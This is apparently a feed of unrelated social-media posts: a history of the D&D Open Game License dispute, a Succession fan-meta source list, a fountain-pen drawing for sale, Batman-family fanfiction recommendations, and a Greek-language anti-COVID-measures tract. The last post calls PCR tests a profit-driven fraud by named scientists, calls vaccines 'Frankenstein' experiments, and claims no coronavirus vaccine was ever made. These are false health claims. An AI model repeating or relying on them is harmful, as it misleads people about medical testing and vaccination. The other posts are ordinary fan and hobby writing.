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canigetacupofugh · 2 years

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What even is OGL?

TLDR: OGL stands for Open Game License and is a public copyright license that allows people to use certain parts of the game system- most notably the mechanics.

It was supposed to be irrevocable and permanent at LEAST for the editions made before and up to it's inception. It is also why/how D&D is the game that you have heard of and not something more generic.

It was actually a brilliant business plan hatched by a man who understood the product, and supported by others that also understood how much they'd come to owe a happy community for the success of the game.

Let's talk about it!

A "Brief" History of Open Gaming - or, How WotC is Shitting on 20 years of a good thing -

Waaaay back in 2000 WotC released the first OGL for D&D 3.0. This was awesome because it meant that there was a nice legal way for people to essentially share their home brew - rules, settings, modules, entire campaigns. It took away the fear of lawyers and placed a chunk of the rules in the creators hands and said, "Here, so long as you follow the rules, you can use this part."

Ryan Dancey, the person who started the negotiations for WotC to buy TSR in the first place - the original owners of D&D - was the person running the show back then and he believed that the way to have D&D be a business success was to have a thriving creative community.

"I think there's a very, very strong business case that can be made for the idea of embracing the ideas at the heart of the Open Source movement and finding a place for them in gaming. One of my fundamental arguments is that by pursuing the Open Gaming concept, Wizards can establish a clear policy on what it will, and will not allow people to do with its copyrighted materials. Just that alone should spur a huge surge in independent content creation that will feed into the D&D network."

And boy was he right! See, the idea here is that if they open up their system (Known as the d20 System) then players learn this system across several genres/settings making it a standard.

Content creators were happy, the D20 System became a standard, everybody (mostly) happy. They even won over a lot of the Grognards who weren't happy with the changes being made to D&D.

Dancey understood the product they were selling.

When 4th came out in 2008 they released the GSL - Gaming System License. It was more restrictive than the previous OGL and like WotC themselves predicted, the community largely ignored 4E (Side Note - 4th is actually my favorite system and it makes me sad that greed ruined it), or even outright shunned it and we saw the brith of Pathfinder - under the OGL, they used the 3.5 ruleset and essentially made their own D&D - with blackjack, and hookers! Several of the people at Paiso used to work for WotC and genuinely believed in Open Gaming and working WITH content creators.

The GSL was, in Andy Collins words, "a Frankenstein's monster of an open license that ended up pleasing basically nobody."

There was less content made by 3rd parties, so instead of a new system having your usual Grognards who just didn't like change, and the people who tried the new system and didn't like it, you added a whole swath of people who were also mad that WotC had changed the rules they said they wouldn't - and since the old OGL was still active for previous editions, they just didn't hop on board the 4th Edition train.

In 2016 we saw a return to the old OGL and they even added another option for content creators - The Dungeon Masters Guild storefront - which allowed people to make content for specific WotC owned settings (creators set their own price, but WotC and OneBookShelf took 50% of proceeds).

In August 2022 rumors started that the OGL was in danger again, aaaand you're probably reading this because you've heard about or seen the new OGL 1.1 leaks and the backlash that is occurring.

Until WotC actually makes official statements on all this, everything is alleged and plenty of people are covering the leaked document and what it might/does mean so you can find that elsewhere (this is already long-winded!) but I'll give my thoughts on the topic. My personal thoughts/opinions - It's pretty easy to ignore some of the new OGL when you see things like you have ot make $50,000 on your product for WotC to want it reported or $750,000 for them to want royalties (at 20-25%, ouch!) because they're going after people who are making some money and can maybe afford it - I even kinda get it - they see how their property has become a household name and want to find ways to make even more money off of it. They want a slice of the pie these 3rd party creators are baking. I get that. And if it was like 4.0 where the old OGL still stood and you could just keep making content for that system and ignore the new system- then I wouldn't care.. but this is much worse. They want to walk back a license that they told people would not be revoked. That people have made a living off of. They also want to be able to just poach your ideas from what you make and not have to share any pie with you - as an artist, ownership of my own IP is something I value.

The thing is, while WotC might own D&D, they didn't CREATE it. This is a huge faceless company that doesn't care about people. They are not your friend and they have shown their hand - they didn't learn the correct lesson from 4th, or see that we as a community were forgiving them with 5th - they just see money and want to squeeze us all for everything we got. They don't understand their product or the community and they want to not only take, take, take, but if we let them, then we set a dangerous precedent that licenses that are supposed to be irrevocable can simply be torn up, and that they can just take your hard work and keep it for themselves.

Now, I don't think they can actually legally revoke the OGL 1.0 - but if they do somehow, that's no bueano for more than just TTRPGs, and isn't it bad enough that they're trying to? Is there really ANYTHING they could do to save this? I'm pretty open-minded, maybe some gesture exists, but I can't imagine it right now.

If you read all that, thank you! Here's a silver lining for you - Paizo is releasing their own ORC - Open RPG Creative License that they are entrusting to a law firm to keep it open. Read more about it HERE

#ogl 1.0a #ogl 1.1 #open gaming license #dungeons and dragons #dnd #TTRPG #ORC License #paizo #history lesson

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paceywittergayboatman · 2 years

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Kendall's Behind the Scenes Protection of Roy Family From Itself Part 2b: The Gothic Horror Reality and Kendall's Gripes and Strategy Within It

Masterlist

Part 1 Part 2a

Non Succesion

The Story of Us by Taylor Swift- 1

?-5

He Doesn't Know Why by Fleet Floxes-4

A Burning Hill by Mistki-6

Twin Peaks Fire Walk with Me-8,12,13,19

Gothic Forms of Feminine Fictions by Susanne Becker-9,21

Nero by Edward Champlin-11

William Kitteridge-17

Inhibited by Louis Untermeyer-18

Frankenstein by Mary Shelley-24

Mastermind by Taylor Swift-27,33,44,47

Family Likeness: Sex, Marriage, and Incest from Jane Austen to Virginia Woolf by Mary Jean Corbett-34

Art of War by Sun Tzu-48

Succesion

3.3-2,3

1.1-7

3.7-14,15

3.1-22

1.5-23

3.5-20,25,30,31,32

1.2-26

3.6 -28,29

3.4-10,35,36,37,38,39,40,41,42,43

2.2-46

2.6-45,47

3.8/3.9?-49,50

1.3-51

#succesion #Kendall Roy #shiv roy #tom Wambsgans #Greg Hirsch #succesion web weaving meta #mine

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mattdeford · 2 years

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Snottery- filth; abomination FOR SALE! $45 ($100 framed) free shipping US and Canada. Comment or message if interested. - Akkerman Garuda Red ink Lamy Logo EF nib Conklin Duragraph Alabone 1.1 nib TWSBI Diamond 580 altered M nib Kaweco Sport 1.5 nib - - - - #art #halloween #frankenstein #frankensteinmonster #artist #artistsoninstagram #illustrationartists #penandinkchallenge #comicstrip #drawing #watercolor #ink #comics #fountainpen #cartoon #word #wordofthedaybymatt #wordoftheday #instaart #buyart #collectart #dailyart #inktober … https://www.instagram.com/p/CkYe3Dor56N/?igshid=NGJjMDIxMWI=

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dcomicsficrecs · 4 years

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Do you have any fics with Jason just being a Bro™️? Or any with him rejoining the family after UTRH?

For the sake of this post not being too long, I am going to rec only one fic or series from an author, but all of these authors are great writers so I recommend checking their other works as well. Hope you will enjoy this fics as much as I do!

1. Jason and Damian being bros

1.1 Bet on it by Lysical

Even Damian could admit that his older siblings occasionally had their uses. __

"I need your assistance," Damian said, voice low and tense.

"No," Jason replied, and hung up.

Short but adorable story of Jason helping out Damian to hide something from their father, just like big brothers out to do.

1.2 Cracked Foundation by Cdelphiki

The last thing Damian expected to happen when he ran away from home was to spend a day crammed into a small space with Jason Todd. His father's second son was a black sheep. An outcast. An angry, insanity driven criminal who enjoyed screwing with the batfamily in every way he could. At least, that's what Damian thought. Maybe he was wrong about Todd.

Perfect hurt/comfort with a lot of family feels and Damian and Jason bodning. Bonus points: Jason actually apologizing for shooting him; exploration of Bruce’s relationships with them both too.

1.3 Good Grief by lysiabeth

“I know who you are, you know. I got my degree at GCU.” The girl says, eyes boring into Jason’s chest as if the red bat were still plastered on it, and Jason’s back stiffens.

“Right.” Jason’s teeth click together as he closes his mouth. He’s eighteen-hundred miles out from Gotham, and of all the Goddamn vet centres he could have broken into it’s probably the only one around that knows anything about his city.

WIP with 8K words so far but worth early reading and bookmarking/subscribing. Case fic, plus Damian and Jason bonding as siblings through Talia? Leviathan also plays a part in this story? Hell yeah.

1.4 Jason and the Three Terrors by Cdelphiki

One moment, Jason was peacefully sleeping, perfectly content with his life with the League of Assassins. Okay, so maybe not content content, but he wasn't unhappy, either. Then Talia woke him up at 2 am, threw three children at him, and told him to get them to America and far away from Ra's al Ghul.

What the fuck.

The last thing he wanted was to see Bruce. But with three brats relying on him and no Talia, there weren't many options for sanctuary. He just didn't expect the kids to grow on him so much in two short weeks.

A superb AU where Jason helps Damian escape League of the Assassin (against his wishes and with two unwanted additions to boot, which is half the pleausure). They aren’t brothers, stictly speaking, at the start of the fic, but become them as the story progresses.

It’s a WIP but it has 50K already and it will be so much more. I am excited with every update and I’m sure you’re gonna be, too.

2. Jason being a brother to Cassandra

2.1 Nests and Cages series by LanternWisp, Lysical starting with Needles or Pins

Jason Todd's journey back to the Batfamily. Takes place in the Frankenstein's monster of a canon I've stitched together. Each plot is rather self-contained, but the fics do flow into one another

Jay and Cass are bio siblings, and Jason’s slow return to the fold. I love this series, and I think it’s one of the greatest take on Lady Shiva being Jason’s mother too.

2.2 Didymous by Hinn_Raven

Didymous: adjective: growing in pairs or twins.

Cassandra and Jason are born twins, raised by their father to be killers. Two heads are better than one.

It’s a great AU with Jay and Cass being biological siblings.

2.3 the patron saint of the lost causes series by evanescent

Pre-Flashpoint AU based on canon what-if Lady Shiva was not only Cassandra's biological mother, but Jason's, too. Mostly focuses on Cass and Jason's relationship, and how that fact changes the dynamics in Batfamily.

It is also a great series with Cass and Jay being biological siblings and I recommend reading every fic of this series.

2.4 Rebirth by Ionaperidot

"The boy is clearly ill, and while she’s almost certain that he is, impossibly, Jason Todd, almost is not good enough. She can’t drop heartbreak on her beloved’s doorstep, and she can’t run the necessary tests when Damian is vulnerable to her father’s wrath. There’s no way around it. He’ll have to come home with her."

Unexpectedly in charge of a second son, Talia struggles to raise her children without unwanted attention from the Demon's Head.

An AU where Talia is the one who unites Cass and Jason. It also contains Damian, and he’s a little brother to them both.

3. Jason and Duke being bros

3.1 Bats are Dorks by Reah22

Duke hadn’t meant to literally trip and fall on to Jason. He really hadn’t. For the record, he blamed Steph. It was probably one of her old pranks that she forgot to take down. That, or she deliberately left it up for someone to trip over in the dark.

Just Duke and Jason, hanging out. Super nice.

3.2 oh, where do i begin? by LazuliQuetzal

“No, no, nothing’s wrong,” Jason says. “We’re a-okay. Just peachy. Good times.”

“Oh,” Duke says, lamely, working himself out of crisis mode. There’s an awkward silence for a moment before he speaks up again. “Why did you call?”

“Right, right," Jason mumbles, which seemed a little out of character to Duke. His sort-of wayward brother was generally intimidating, even when he wasn't trying to be. "Uh, Dick said that you had a guinea pig when you were younger. How do you take care of a guinea pig?” _____

AKA, not-exactly accidental guinea pig acquisition

Absolutely adorable short story about Jason going to his little brother for advice.

3.3 rockstar au series by addiebey starting with disconnect:

jason and duke bond. dick just doesn't get it, but what's new?

Another great no-capes AU. Only two fics from the series, both under 1k, are focused on Duke and Jason, but they are so great. The whole series is, actually, though it’s not finished. I am just grateful even this much exists, but I am definitely bookmarking and subscribing it in case there will be more. Please give this series the attention and praise it deserves.

There are, alas, not many Duke and Jason-centered fics. Though there is another one I wanted to recommend, about Jason training Duke, but I can’t find it for some reason. It was short and funny, and if anyone recognizes this description, I would be glad if you told me.

4. Jason and Dick being bros

4.1 i was naive and hopeful and lost by heroics (figure8)

Clark and Bruce take in a troubled teen.

The The Fosters AU no one asked for.

It’s a part of the series which is one of the best no-capes AU I’ve read, if not the best, and it’s a great family-focused fic with a good parent Bruce. The road for Jason to become Dick’s and the rest of the kids’ brother is slow but greatly written.

4.2 To Reconcile by CasualDanger

“Babs slapped me at your funeral.” Jason goes to laugh, but it’s just a cough and his mouth barely even twitches up. “She hated me in that moment. I mean, really, really hated me, like I did Talia after I found out Damian had died. And I wondered,” his voice cracks, eyes glassy now, “did you hate anyone when I was gone? Because I was gone?”

Short and emotional fic where Dick and Jason open up to each other during pressing circumstances.

4.3 Five Times Dick Grayson Read about Jason Todd in the Newspaper by Engineerd

If Dick hadn’t been special ordering the Gotham City Gazette, he wouldn’t have found out for - well. Years, at this rate.

Short and very full of emotion story. I love the exploration of Dick’s almost unchanging attitude toward Jason - well, unchanging right before the last time he would read about him (or almost the last time). They’re not really close here, and won’t grow closer, but sometimes siblinghood is like that.

4.4 The View From Jade by lowflyingfruit

Being transported to the past is not the sort of thing one normally expects. But this having happened, and with no easy way back, Jason's determined to make the most of it. Though the Bat still stalks Gotham's streets, the city's crime is run by the mobs instead of the rogues. There's no Joker yet.

There's no Robin.

Maybe there shouldn't be.

Time Travel Jason&Dick focused AU! One of the best time travel fics where they actually change stuff even if it doesn’t transit to their universe - for exception of their more strong brotherly relationships.

5. Jason and Stephanie being bros

5.1 this time, the loser wins by parkerstorms

They were two sides of the same coin. They understood each other. It was nice. It was a downright relief. She’d never had a big brother before.

There’s not a lot of Jason and Steph being bros stories I have not mentioned before, but this one is one of them, and a great one too.

6. Jason and Tim being bros

6.1 Bonding Habits of Robins by GoAwayOlivia

Giving each other shit is how the bat brothers show they care. Jason and Tim do it particularly well.

It’s a funny and nice fic with exactly what’s said in the summary.

There’s a lot of fics with Jason and Tim being bros but my memorie went blank when I tried to recall. Which is not a statement about their relationships or quality of fics that depict them, it’s just sometimes my memory doesn’t work properly. This is the case with the Jason and Steph, too. As soon as I remember or discover new fics about their relationships, I am going to update this post or maybe create a new one just for the three of them. We’ll see!

7. Batfam Jason-featured sibling relationships

7.1 If the Sky Comes Falling Down (For You) by lurkinglurkerwholurks

or, 5 times Jason Todd saved his siblings... and one time they saved him.

It was only by luck that Jason was still there when the bodies came crashing down the street. Bad luck, he would argue. He could hear them long before he could see them, their bodies preceded by the thunderous pounding of boots of asphalt and shouted curses. Three or four figures flashed by his little alleyway, a tight mob followed by a lone, slender figure in a streaming cape.

Summary speaks for itself. It’s a gradual description of Jason slowly coming back to the family after UtRH and starting feeling like their brother.

7.2 this is a long drive (for three robins who don't agree on much) by drakefeathers

(Bad Robins road trip AU!) Steph’s trip home to Gotham takes a huge detour thanks to Jason and Damian’s conflicts with airport security. She’s stuck driving the two brothers cross-country to reach Tim’s wedding in time.

Damian, Jason & Steph bonding road trip AU that warms your heart. Seriously, if you like any of these characters, you read this.

7.3 on a thin chain of moments and something like faith series by irnan

Jason really oughta know better than to talk to Bats.

Jason bonding with both Steph and Cass! Love it. It’s fluff and angst, which is hard to pull off together, but it works here. It also, in places, incredibly funny. I love re-reading it from time to time.

7.4 Tremor by LueurdeLaube

Nobody can tell Jason Todd that joking about his own death is not a valid coping mechanism.

Not about Jason being a bro per se but about Batfam and Jason so I hope it counts!

7.5. the lost sidekick society by redtruthed

The batkids make a group chat.

Chaos ensues.

One of the best groupchat AU for Batfam.

#Jason Todd #Damian Wayne #Cassandra Cain #Duke Thomas #Dick Grayson #Stephanie Brown #Tim Drake #Family #Siblings #Gen Fic #Batfam

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grexitdrachmaendebt · 4 years

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ΣΑΣ ΕΞΑΠΑΤΟΥΝ ΑΝΕΝΔΟΙΑΣΤΑ

Δεν φοβάμαι τον κορωνοϊό, όπως δεν φοβάμαι και τους ιούς της γρίπης. Ποτέ δεν τον φοβήθηκα. Φοβάμαι αυτούς που φοβούνται τον κορωνοϊό, γιατί εξαιτίας του φόβου τους χρησιμοποιούνται εν αγνοία τους ως οικοδομικό υλικό για το χτίσιμο του καφκικού «Πύργου» στον οποίο επιδιώκεται να μας φυλακίσουν.

Και μόνο η ανατριχιαστική μονοφωνία που επιβλήθηκε στα εξαγορασμένα συστημικά Μέσα Μαζικής Εξαπάτησης από διεφθαρμένους «δημοσιογράφους» και μαϊντανούς «επιστήμονες» που επιστρατεύτηκαν για τη δολοφονία της επιστήμης ήταν αρκετά για να πυροδοτήσουν την αμφισβήτηση κάθε σκεπτόμενου ανθρώπου και να τρομοκρατήσουν εκείνους που σιτίζονται στον τηλεοπτικό βόθρο.

Από μια τραγική ιστορική σύμπτωση, στην ταφόπλακα της Δημοκρατίας της Βαϊμάρης και της Ελληνικής «Δημοκρατίας» είναι χαραγμένος με αίμα ο αριθμός 48. Που δεν αντιστοιχεί στην ηλικία των «θανόντων» δημοκρατιών αλλά στον αριθμό του άρθρου των Συνταγμάτων τους που οδήγησε στη δολοφονία τους. Τον αριθμό 48 έχουν τα άρθρα του Συντάγματος και των δύο κοινοβουλευτικών δημοκρατιών που δίνουν τη δυνατότητα της χρήσης των «Πράξεων Νομοθετικού Περιεχομένου» (τυπικό εργαλείο κάθε αυταρχισμού), μέσω των οποίων οι διαχειριστές της εξουσίας μπορούν να κυβερνούν ανεξέλεγκτα παρακάμπτοντας τους κανόνες της κοινοβουλευτικής δημοκρατίας και ενταφιάζοντάς την.

Οι εμπνευστές και οι κάθε είδους ιδιοτελείς συνεργοί στο «Πραξικόπημα του Κορωνοϊού» είναι υπόλογοι για ένα διαρκές έγκλημα σε βάρος της ανθρωπότητας και κάποια στιγμή θα κληθούν να λογοδοτήσουν σε μια νέα μεγαλειώδη Δίκη της Νυρεμβέργης. Για να πάρουν «τα όνειρα εκδίκηση» (Οδυσσέας Ελύτης).

ΥΣΤΕΡΟΓΡΑΦΟ: Απ’ ό,τι φαίνεται, για πρώτη φορά στην ιστορία της ανθρωπότητας, οι «πρόθυμοι» και σκοπίμως παρα-πληροφορημένοι αδαείς (που θα βάλουν το κεφάλι τους στον πάγκο των χασάπηδων των πειραματικών «εμβολίων»-Frankenstein) θα σώσουν με την τραγωδία τους τους σκεπτόμενους ανθρώπους.

ΠΕΡΙΕΧΟΜΕΝΑ

Νο. 1 ΕΓΚΛΗΜΑΤΙΚΕΣ ΣΤΡΑΤΗΓΙΚΕΣ ΕΞΑΠΑΤΗΣΗΣ

ΤΟ ΔΙΚΑΙΩΜΑ ΤΗΣ ΕΝΗΜΕΡΩΜΕΝΗΣ ΣΥΝΑΙΝΕΣΗΣ

1. ΠΡΩΤΗ ΣΤΡΑΤΗΓΙΚΗ ΕΞΑΠΑΤΗΣΗΣ: ΤΑ ΤΕΣΤ-PCR

1.1 ΤΟ ΙΣΤΟΡΙΚΟ ΤΗΣ ΑΠΑΤΗΣ

1.2 ΟΙ ΕΜΠΝΕΥΣΤΕΣ ΤΗΣ ΑΠΑΤΗΣ ΚΑΙ Η «ΝΟΜΙΜΟΠΟΙΗΣΗ» ΤΗΣ

1.3 ΠΡΩΤΗ ΑΠΟΚΑΛΥΨΗ ΤΗΣ ΑΠΑΤΗΣ: 27-06-2020

1.4 ΔΕΥΤΕΡΗ ΑΠΟΚΑΛΥΨΗ ΤΗΣ ΑΠΑΤΗΣ: 1-12-2020

1.5 ΣΥΓΚΡΟΥΣΕΙΣ ΣΥΜΦΕΡΟΝΤΩΝ ΤΩΝ ΔΙΑΔΡΟΜΙΣΤΩΝ

1.6 ΣΥΜΠΕΡΑΣΜΑ

2. ΔΕΥΤΕΡΗ ΣΤΡΑΤΗΓΙΚΗ ΕΞΑΠΑΤΗΣΗΣ: ΟΙ «ΚΥΚΛΟΙ» ΤΩΝ ΤΕΣΤ-PCR

3. ΤΡΙΤΗ ΣΤΡΑΤΗΓΙΚΗ ΕΞΑΠΑΤΗΣΗΣ: Η ΝΟΣΟΣ-ΛΑΣΤΙΧΟ

4. ΤΕΤΑΡΤΗ ΣΤΡΑΤΗΓΙΚΗ ΕΞΑΠΑΤΗΣΗΣ: «ΣΥΝΝΟΣΗΡΟΤΗΤΑ»

5. ΑΛΛΕΣ ΣΤΡΑΤΗΓΙΚΕΣ ΕΞΑΠΑΤΗΣΗΣ

6. Η NOMIKH ΘΩΡΑΚΙΣΗ ΕΝΟΣ ΔΙΑΡΚΟΥΣ ΕΓΚΛΗΜΑΤΟΣ

6.1 ΝΟΜOΘΕΤΙΚΑ ΣΩΜΑΤΑ

6.2 ΦΑΣΗ ΠΡΩΤΗ, 1986: ΘΕΣΠΙΣΗ ΤΗΣ ΑΣΥΛΙΑΣ ΤΗΣ BIG PHARMA

6.3 ΦΑΣΗ ΔΕΥΤΕΡΗ, 2020: ΕΠΕΚΤΑΣΗ ΤΗΣ ΑΣΥΛΙΑΣ

6.4 Η «ΣΥΝΕΡΓΑΣΙΑ» ΔΗΜΟΣΙΟΥ ΚΑΙ ΙΔΙΩΤΙΚΟΥ ΤΟΜΕΑ

7. ΤΑ «ΕΜΒΟΛΙΑ»-FRANKENSTEIN ΣΤΟ ΠΡΟΣΚΗΝΙΟ

7.1 PFIZER – MODERNA – ASTRAZENECA

7.2 ΠΟΤΕ ΔΕΝ ΚΑΤΑΣΚΕΥΑΣΤΗΚΕ ΕΜΒΟΛΙΟ ΓΙΑ ΚΟΡΩΝΟΪΟ

8. Η ΣΤΡΑΤΙΑ ΤΩΝ ΕΜΒΟΛΙΩΝ ΠΟΥ ΜΑΣ ΑΠΕΙΛΕΙ

8.1 ΕΜΒΟΛΙΑ ΜΕ ΓΕΝΕΤΙΚΟ ΥΛΙΚΟ (mRNA, DNA)

8.2 ΕΜΒΟΛΙΑ ΜΕ ΙΙΚΟΥΣ ΦΟΡΕΙΣ

8.3 ΕΜΒΟΛΙΑ ΥΠΟΜΟΝΑΔΑΣ

8.4 ΕΜΒΟΛΙΑ ΜΕ ΑΠΟΔΥΝΑΜΩΜΕΝΟΥΣ ΙΟΥΣ

8.5 ΑΛΛΑ ΕΜΒΟΛΙΑ

9. ΜΕΡΙΚΕΣ ΣΗΜΑΝΤΙΚΕΣ ΕΠΙΣΗΜΑΝΣΕΙΣ

ΤΟ ΔΙΚΑΙΩΜΑ ΤΗΣ ΕΝΗΜΕΡΩΜΕΝΗΣ ΣΥΝΑΙΝΕΣΗΣ

Η υπεράσπιση του θεμελιώδους δικαιώματος κάθε ανθρώπου να συναινεί ή να αρνείται οποιαδήποτε ιατρική παρέμβαση στο σώμα του (αρχή της ενημερωμένης συναίνεσης) που κατακτήθηκε με τίμημα 65 εκατομμύρια νεκρούς και πολύ περισσότερα εκατομμύρια καταστραμμένες ζωές επιβάλλεται:

Πρώτο, για λόγους ηθικούς: Κάθε άνθρωπος έχει το αναπαλλοτρίωτο δικαίωμα να αποφασίζει ποια διαγνωστική ή θεραπευτική διαδικασία (κατασταλτική ή προληπτική) θα αποδέχεται ή θα απορρίπτει.

Δεύτερο, για λόγους πολιτικούς: Η κοινωνία δεν απειλείται από τις πραγματικές ή κατασκευασμένες αρρώστιες, γιατί στη διαδρομή της εξέλιξης –μια διαδρομή εκατοντάδων εκατομμυρίων χρόνων– η φύση έχει εξοπλίσει τον άνθρωπο με ένα μαγικό ανοσοποιητικό σύστημα, στο οποίο οφείλει την επιβίωσή του. Η κοινωνία κινδυνεύει από οποιαδήποτε καταστολή ή στρέβλωση του ανοσοποιητικού συστήματος από τις εφιαλτικές φρανκεσταϊνικές παρεμβάσεις των αυταρχικών διαχειριστών της εξουσίας.

Τρίτο, για λόγους ανθρωπιστικούς: Η ανθρωποβόρα βιομηχανία της των απαγορεύσεων και της καταστολής των θεμελιωδών δικαιωμάτων (μεταξύ των οποίων είναι και το αναφαίρετο δικαίωμα της «ενημερωμένης συναίνεσης» του ανθρώπου προκειμένου να αποφασίζει να αποδέχεται ή να απορρίπτει οποιαδήποτε ιατρική πράξη), που παράγει αμέτρητες ατομικές και οικογενειακές τραγωδίες, πρέπει να πάψει να υφίσταται.

Τέταρτο, για λόγους επιστημονικούς: Η διεφθαρμένη ιατρική συντεχνία, λειτουργώντας ως αμειβόμενος απενοχοποιητικός γελωτοποιός της εξουσίας και της Big Pharma, διαστρέφει ολοσχερώς την ιατρική καταργώντας την αυτοτελή ανθρωπιστική επιστήμη και θυσιάζει αδίστακτα στον βωμό των άνομων πολιτικών και οικονομικών συμφερόντων της το πλέον ουσιώδες ηθικό θεμέλιό της, με την υποκατάσταση του «εν αρχή, ου βλάπτεις» με το αποκρουστικό «εν αρχή, βλάπτεις».

• Το δικαίωμα της ενημερωμένης συναίνεσης εδράζεται στον Κώδικα της Νυρεμβέργης, το σημαντικότερο έγγραφο στην ιστορία των προτύπων δεοντολογίας της άσκησης της ιατρικής και της ιατρικής έρευνας. Η πρώτη -και κορυφαία- ηθική αρχή του Κώδικα της Νυρεμβέργης είναι τόσο σημαντική σήμερα όσο ήταν και το 1947: « Η εθελοντική και ενημερωμένη συγκατάθεση του ανθρώπινου υποκειμένου είναι απολύτως απαραίτητη».

• Η «ενημερωμένη συναίνεση είναι απολύτως απαραίτητη» επειδή επιβεβαιώνει το βασικό δικαίωμα κάθε ανθρώπου να αποδεχθεί ή να απορρίψει οποιαδήποτε ιατρική παρέμβαση και αποτελεί το κυριότερο ηθικό και το νομικό εμπόδιο για να διασφαλιστεί ότι οι κυβερνήσεις δεν θα διαστρέψουν την ιατρική «Ποτέ Ξανά».

• «Το δικαίωμα άρνησης» μιας ιατρικής παρέμβασης επιβεβαιώνεται και από την Οικουμενική Διακήρυξη για τη Βιοηθική και τα Ανθρώπινα Δικαιώματα (2005) που αναφέρει: «Οποιαδήποτε προληπτική, διαγνωστική και θεραπευτική ιατρική παρέμβαση πρέπει να πραγματοποιείται μόνο μετά από την προηγούμενη, δωρεάν [παρεχόμενη] ενημερωμένη συγκατάθεση του ενδιαφερόμενου, με βάση επαρκείς πληροφορίες».

1. ΠΡΩΤΗ ΣΤΡΑΤΗΓΙΚΗ ΕΞΑΠΑΤΗΣΗΣ: ΤΑ ΤΕΣΤ-PCR

Τα Τεστ-PCR μεταμορφώνονται ΑΠΟ ΕΡΓΑΣΤΗΡΙΑΚΗ ΤΕΧΝΙΚΗ για τον πολλαπλασιασμό του ερευνώμενου δείγματος ΣΕ ΔΙΑΓΝΩΣΤΙΚΟ ΜΕΣΟ

Η θηλειά που σφίγγει τον λαιμό του παγκόσμιου πληθυσμού με την επιβολή των lockdown και των βάρβαρων ναζιστικής έμπνευσης απαγορεύσεων είναι γερμανικής κατασκευής, έχει την επωνυμία (Fake) Test-PCR και φτιάχτηκε από τον Christian Drosten, που προβάλλεται ως ο πλέον ειδικός ιολόγος για την COVID-19 της Γερμανίας, κατέχει διευθυντική θέση στο ίδρυμα Charité, είναι σύμβουλος της γερμανικής κυβέρνησης και συν-προγραμματιστής και συν-εκμεταλλευτής του Τεστ-PCR.

1.1 ΤΟ ΙΣΤΟΡΙΚΟ ΤΗΣ ΑΠΑΤΗΣ

• Ο Kary Mullis, εφευρέτης της τεχνολογίας της Αλυσιδωτής Αντίδρασης Πολυμεράσης (Polymerase Chain Reaction - PCR), που βραβεύτηκε με το Νόμπελ της Χημείας το 1993, θεωρούσε τη μέθοδό του (PCR) εντελώς ακατάλληλη για την ανίχνευση/διάγνωση οποιασδήποτε ιογενούς λοίμωξης. Η μέθοδος PCR είναι ένα εργαστηριακό εργαλείο, μια τεχνική/βιομηχανική μέθοδος που μπορεί να αναπαράγει εκατομμύρια φορές γενετικές αλληλουχίες DNA (ένα είδος φωτοαντιγραφικού μηχανήματος) και όχι ένα διαγνωστικό εργαλείο για την ανίχνευση των ιών.

• Οι Victor Corman και Christian Drosten, διακατεχόμενοι από τον «πυρετό του χρυσού», είναι επαγγελματίες, «διαδρομιστές» στους λαβύρινθους της εξουσίας και των δημοσίων σχέσεων, και «πέτυχαν» να επιβάλουν –προς ίδιον όφελος– το τεστ-PCR από εργαστηριακή τεχνική για τον πολλαπλασιασμό του ερευνώμενου ιικού υλικού σε… «διαγνωστικό μέσο». Και, μέσω αυτής της λαθροχειρίας, μετέτρεψαν το τεστ-PCR σε μέσο προσωπικού πλουτισμού και αιτιολόγησης της επιβολής των lockdown παγκοσμίως, εκμεταλλευόμενοι τους διεφθαρμένους γραφειοκρατικούς ρυθμιστικούς μηχανισμούς (ΠΟΥ, FDA, CDC, EMA, ECDC κ.ά.).

1.2 ΟΙ ΕΜΠΝΕΥΣΤΕΣ ΤΗΣ ΑΠΑΤΗΣ ΚΑΙ Η «ΝΟΜΙΜΟΠΟΙΗΣΗ» ΤΗΣ

Οι διαδρομιστές Victor Corman και Christian Drosten είναι βασικοί συντάκτες της διαβόητης fake-μελέτης «Detection of 2019 novel coronavirus (2019-nCoV) by RT-PCR σε πραγματικό χρόνο», την οποία, αφού την έστειλαν στον ΠΟΥ –προς διασφάλιση υπόγειας υποστήριξης–, εν συνεχεία φρόντισαν να τη νομιμοποιήσουν «επιστημονικά» με τη δημοσίευσή της στο –υπό τον έλεγχό τους– ειδικό περιοδικό Euro Surveillance της EMA [Euro Surveillance 2020; 25 (3): pii = 2000045 - https://doi.org/10.2807/1560-7917.ES.2020.25.3.2000045].

Το τεστ-PCR ήταν το πρώτο παγκοσμίως που έγινε αποδεκτό από τον Π.Ο.Υ. και την ΕΜΑ παρόλο που δεν επικυρώθηκε ποτέ από ανεξάρτητες διεθνείς επιστημονικές μελέτες.

Η δημοσίευση της fake-μελέτης των Corman και Drosten, στο Euro Surveillance, έγινε μέσα σε 24 ώρες από τη στιγμή της… κατάθεσής της, που αποτελεί χρόνο-ρεκόρ Γκίνες εάν ληφθεί υπόψη το γεγονός ότι η δημοσίευση μιας εργασίας σε επιστημονικά περιοδικά συνήθως απαιτεί χρόνο αρκετών… μηνών. Και, φυσικά, η δημοσίευση της «μελέτης» έγινε χωρίς να προηγηθεί κανένας έλεγχος της εγκυρότητάς της.

Αυτή η πρωτοφανής δήθεν «αντιγραφειοκρατική» συμπεριφορά ενός κατά τεκμήριο εξόχως γραφειοκρατικού και αδιαφανούς εντύπου εξηγείται (α) από το γεγονός ότι ο Christian Drosten και o συνεργάτης του Chantal Reusken είναι μέλη του συντακτικού συμβουλίου που εκδίδει την επιθεώρηση… Euro Surveillance της EMA και (β) από την συνενοχή των άλλων μελών του Διοικητικού Συμβουλίου της.

Με μια επαίσχυντη λαθροχειρία τους, οι Corman και Drosten μεταμόρφωσαν οβιδιακά μια εργαστηριακή εργαλειακή τεχνική (PCR) σε «διαγνωστική μέθοδο». Και, με την άμεση συνενοχή των διεφθαρμένων οργανισμών (ΠΟΥ, FDA, CDC, ΕΜΑ, ECDC κ.ά.), την ανέδειξαν σε βασικό εργαλείο για την αιτιολόγηση της επιβολής των μέτρων νέκρωσης της οικονομίας και της κοινωνίας.

1.3 ΠΡΩΤΗ ΑΠΟΚΑΛΥΨΗ ΤΗΣ ΑΠΑΤΗΣ: 27-06-2020

